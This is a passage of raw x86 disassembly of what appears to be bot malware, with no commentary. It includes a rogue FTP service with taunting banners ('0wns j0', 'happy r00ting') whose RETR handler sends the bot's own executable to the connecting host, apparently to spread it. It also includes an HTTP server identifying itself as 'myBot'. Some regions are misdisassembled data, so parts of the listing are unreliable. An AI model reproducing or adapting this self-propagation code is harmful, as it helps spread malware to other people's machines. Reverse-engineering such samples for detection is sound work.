		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax


loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C6E857h, 8590716Bh,	8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------


loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]


loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB


loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]


loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		call	near ptr 71AB1A6Dh
		nop
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------


loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172AE
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172AE
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------


loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43C83C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172AE
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h


loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------


loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------


loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send


loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------


loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax


loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	[ebp+arg_0]
		mov	dword_43C838, eax
		mov	[ebp+var_10], 2
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43C838
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_43C838
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 2650000h
		nop
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h


loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43C838
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 260086Bh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi


loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E6o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43F668
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43F690
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43F704
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43F650
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43F560
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]


loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47


loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43F700
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]


loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]


loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2


loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3


loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------


loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06


loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]


loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]


loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31


loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]


loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------


loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43F700


loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------


loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h


loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_254]
		call	sub_417076
		pop	ecx
		push	ebx
		call	near ptr 25F0962h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172AE
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172AE
		add	esp, 28h


loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43F6B8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------


loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h


loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43F700
		push	[ebp+var_B4]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
